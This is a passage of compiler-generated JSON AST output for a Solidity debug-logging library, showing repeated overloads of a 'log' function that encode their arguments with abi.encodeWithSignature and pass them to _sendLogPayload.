memory"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":27250,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"31022:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":27251,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"31026:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"31022:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":27257,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"31022:78:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":27249,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"31006:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":27258,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"31006:95:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":27259,"nodeType":"ExpressionStatement","src":"31006:95:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"30924:3:15","parameters":{"id":27247,"nodeType":"ParameterList","parameters":[{"constant":false,"id":27240,"mutability":"mutable","name":"p0","nameLocation":"30936:2:15","nodeType":"VariableDeclaration","scope":27261,"src":"30928:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27239,"name":"uint256","nodeType":"ElementaryTypeName","src":"30928:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":27242,"mutability":"mutable","name":"p1","nameLocation":"30948:2:15","nodeType":"VariableDeclaration","scope":27261,"src":"30940:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":27241,"name":"address","nodeType":"ElementaryTypeName","src":"30940:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":27244,"mutability":"mutable","name":"p2","nameLocation":"30966:2:15","nodeType":"VariableDeclaration","scope":27261,"src":"30952:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27243,"name":"string","nodeType":"ElementaryTypeName","src":"30952:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":27246,"mutability":"mutable","name":"p3","nameLocation":"30978:2:15","nodeType":"VariableDeclaration","scope":27261,"src":"30970:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":27245,"name":"address","nodeType":"ElementaryTypeName","src":"30970:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"30927:54:15"},"returnParameters":{"id":27248,"nodeType":"ParameterList","parameters":[],"src":"30996:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":27284,"nodeType":"FunctionDefinition","src":"31114:182:15","nodes":[],"body":{"id":27283,"nodeType":"Block","src":"31186:110:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c616464726573732c626f6f6c2c75696e7432353629","id":27275,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"31236:35:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_5abd992a7a64be8afc8745d44215dd5b4a31f8b03abd4cb03ff6565b7f51c1b1","typeString":"literal_string \"log(uint256,address,bool,uint256)\""},"value":"log(uint256,address,bool,uint256)"},{"id":27276,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27263,"src":"31273:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":27277,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27265,"src":"31277:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":27278,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27267,"src":"31281:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":27279,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27269,"src":"31285:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_5abd992a7a64be8afc8745d44215dd5b4a31f8b03abd4cb03ff6565b7f51c1b1","typeString":"literal_string \"log(uint256,address,bool,uint256)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":27273,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"31212:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":27274,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"31216:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"31212:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":27280,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"31212:76:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":27272,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"31196:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":27281,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"31196:93:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":27282,"nodeType":"ExpressionStatement","src":"31196:93:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"31123:3:15","parameters":{"id":27270,"nodeType":"ParameterList","parameters":[{"constant":false,"id":27263,"mutability":"mutable","name":"p0","nameLocation":"31135:2:15","nodeType":"VariableDeclaration","scope":27284,"src":"31127:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27262,"name":"uint256","nodeType":"ElementaryTypeName","src":"31127:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":27265,"mutability":"mutable","name":"p1","nameLocation":"31147:2:15","nodeType":"VariableDeclaration","scope":27284,"src":"31139:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":27264,"name":"address","nodeType":"ElementaryTypeName","src":"31139:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":27267,"mutability":"mutable","name":"p2","nameLocation":"31156:2:15","nodeType":"VariableDeclaration","scope":27284,"src":"31151:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":27266,"name":"bool","nodeType":"ElementaryTypeName","src":"31151:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":27269,"mutability":"mutable","name":"p3","nameLocation":"31168:2:15","nodeType":"VariableDeclaration","scope":27284,"src":"31160:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27268,"name":"uint256","nodeType":"ElementaryTypeName","src":"31160:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"31126:45:15"},"returnParameters":{"id":27271,"nodeType":"ParameterList","parameters":[],"src":"31186:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":27307,"nodeType":"FunctionDefinition","src":"31302:187:15","nodes":[],"body":{"id":27306,"nodeType":"Block","src":"31380:109:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c616464726573732c626f6f6c2c737472696e6729","id":27298,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"31430:34:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_90fb06aa0f94ddb9149d9a0d0271a9fd2b331af93ebc6a4aece22e4f82154c7d","typeString":"literal_string \"log(uint256,address,bool,string)\""},"value":"log(uint256,address,bool,string)"},{"id":27299,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27286,"src":"31466:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":27300,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27288,"src":"31470:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":27301,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27290,"src":"31474:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":27302,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27292,"src":"31478:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_90fb06aa0f94ddb9149d9a0d0271a9fd2b331af93ebc6a4aece22e4f82154c7d","typeString":"literal_string \"log(uint256,address,bool,string)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":27296,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"31406:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":27297,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"31410:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"31406:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":27303,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"31406:75:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":27295,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"31390:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":27304,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"31390:92:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":27305,"nodeType":"ExpressionStatement","src":"31390:92:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"31311:3:15","parameters":{"id":27293,"nodeType":"ParameterList","parameters":[{"constant":false,"id":27286,"mutability":"mutable","name":"p0","nameLocation":"31323:2:15","nodeType":"VariableDeclaration","scope":27307,"src":"31315:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27285,"name":"uint256","nodeType":"ElementaryTypeName","src":"31315:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":27288,"mutability":"mutable","name":"p1","nameLocation":"31335:2:15","nodeType":"VariableDeclaration","scope":27307,"src":"31327:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":27287,"name":"address","nodeType":"ElementaryTypeName","src":"31327:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":27290,"mutability":"mutable","name":"p2","nameLocation":"31344:2:15","nodeType":"VariableDeclaration","scope":27307,"src":"31339:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":27289,"name":"bool","nodeType":"ElementaryTypeName","src":"31339:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":27292,"mutability":"mutable","name":"p3","nameLocation":"31362:2:15","nodeType":"VariableDeclaration","scope":27307,"src":"31348:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27291,"name":"string","nodeType":"ElementaryTypeName","src":"31348:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"31314:51:15"},"returnParameters":{"id":27294,"nodeType":"ParameterList","parameters":[],"src":"31380:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":27330,"nodeType":"FunctionDefinition","src":"31495:176:15","nodes":[],"body":{"id":27329,"nodeType":"Block","src":"31564:107:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c616464726573732c626f6f6c2c626f6f6c29","id":27321,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"31614:32:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_e351140f919f09731a4793c7bb4d5f07234902f499ced9e1e3c9639d2685c6f1","typeString":"literal_string \"log(uint256,address,bool,bool)\""},"value":"log(uint256,address,bool,bool)"},{"id":27322,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27309,"src":"31648:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":27323,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27311,"src":"31652:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":27324,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27313,"src":"31656:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":27325,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27315,"src":"31660:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_e351140f919f09731a4793c7bb4d5f07234902f499ced9e1e3c9639d2685c6f1","typeString":"literal_string \"log(uint256,address,bool,bool)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":27319,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"31590:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":27320,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"31594:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"31590:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":27326,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"31590:73:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":27318,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"31574:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":27327,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"31574:90:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":27328,"nodeType":"ExpressionStatement","src":"31574:90:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"31504:3:15","parameters":{"id":27316,"nodeType":"ParameterList","parameters":[{"constant":false,"id":27309,"mutability":"mutable","name":"p0","nameLocation":"31516:2:15","nodeType":"VariableDeclaration","scope":27330,"src":"31508:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27308,"name":"uint256","nodeType":"ElementaryTypeName","src":"31508:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":27311,"mutability":"mutable","name":"p1","nameLocation":"31528:2:15","nodeType":"VariableDeclaration","scope":27330,"src":"31520:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":27310,"name":"address","nodeType":"ElementaryTypeName","src":"31520:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":27313,"mutability":"mutable","name":"p2","nameLocation":"31537:2:15","nodeType":"VariableDeclaration","scope":27330,"src":"31532:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":27312,"name":"bool","nodeType":"ElementaryTypeName","src":"31532:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":27315,"mutability":"mutable","name":"p3","nameLocation":"31546:2:15","nodeType":"VariableDeclaration","scope":27330,"src":"31541:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":27314,"name":"bool","nodeType":"ElementaryTypeName","src":"31541:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"31507:42:15"},"returnParameters":{"id":27317,"nodeType":"ParameterList","parameters":[],"src":"31564:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":27353,"nodeType":"FunctionDefinition","src":"31677:182:15","nodes":[],"body":{"id":27352,"nodeType":"Block","src":"31749:110:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c616464726573732c626f6f6c2c6164647265737329","id":27344,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"31799:35:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_ef72c5130890d3b81e89bdbf9a039a84547328dd01c955d6bb1088aaf2252d05","typeString":"literal_string \"log(uint256,address,bool,address)\""},"value":"log(uint256,address,bool,address)"},{"id":27345,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27332,"src":"31836:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":27346,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27334,"src":"31840:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":27347,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27336,"src":"31844:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":27348,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27338,"src":"31848:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_ef72c5130890d3b81e89bdbf9a039a84547328dd01c955d6bb1088aaf2252d05","typeString":"literal_string \"log(uint256,address,bool,address)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":27342,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"31775:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":27343,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"31779:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"31775:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":27349,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"31775:76:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":27341,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"31759:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":27350,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"31759:93:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":27351,"nodeType":"ExpressionStatement","src":"31759:93:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"31686:3:15","parameters":{"id":27339,"nodeType":"ParameterList","parameters":[{"constant":false,"id":27332,"mutability":"mutable","name":"p0","nameLocation":"31698:2:15","nodeType":"VariableDeclaration","scope":27353,"src":"31690:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27331,"name":"uint256","nodeType":"ElementaryTypeName","src":"31690:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":27334,"mutability":"mutable","name":"p1","nameLocation":"31710:2:15","nodeType":"VariableDeclaration","scope":27353,"src":"31702:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":27333,"name":"address","nodeType":"ElementaryTypeName","src":"31702:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":27336,"mutability":"mutable","name":"p2","nameLocation":"31719:2:15","nodeType":"VariableDeclaration","scope":27353,"src":"31714:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":27335,"name":"bool","nodeType":"ElementaryTypeName","src":"31714:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":27338,"mutability":"mutable","name":"p3","nameLocation":"31731:2:15","nodeType":"VariableDeclaration","scope":27353,"src":"31723:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":27337,"name":"address","nodeType":"ElementaryTypeName","src":"31723:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"31689:45:15"},"returnParameters":{"id":27340,"nodeType":"ParameterList","parameters":[],"src":"31749:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":27376,"nodeType":"FunctionDefinition","src":"31865:188:15","nodes":[],"body":{"id":27375,"nodeType":"Block","src":"31940:113:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c616464726573732c616464726573732c75696e7432353629","id":27367,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"31990:38:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_736efbb692cd4ba0c879f89673f1c5a7eb58e7bd2b833c4d30d41d3aa9c7a23a","typeString":"literal_string \"log(uint256,address,address,uint256)\""},"value":"log(uint256,address,address,uint256)"},{"id":27368,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27355,"src":"32030:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":27369,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27357,"src":"32034:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":27370,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27359,"src":"32038:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":27371,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27361,"src":"32042:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_736efbb692cd4ba0c879f89673f1c5a7eb58e7bd2b833c4d30d41d3aa9c7a23a","typeString":"literal_string \"log(uint256,address,address,uint256)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":27365,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"31966:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":27366,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"31970:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"31966:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":27372,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"31966:79:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":27364,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"31950:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":27373,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"31950:96:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":27374,"nodeType":"ExpressionStatement","src":"31950:96:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"31874:3:15","parameters":{"id":27362,"nodeType":"ParameterList","parameters":[{"constant":false,"id":27355,"mutability":"mutable","name":"p0","nameLocation":"31886:2:15","nodeType":"VariableDeclaration","scope":27376,"src":"31878:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27354,"name":"uint256","nodeType":"ElementaryTypeName","src":"31878:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":27357,"mutability":"mutable","name":"p1","nameLocation":"31898:2:15","nodeType":"VariableDeclaration","scope":27376,"src":"31890:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":27356,"name":"address","nodeType":"ElementaryTypeName","src":"31890:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t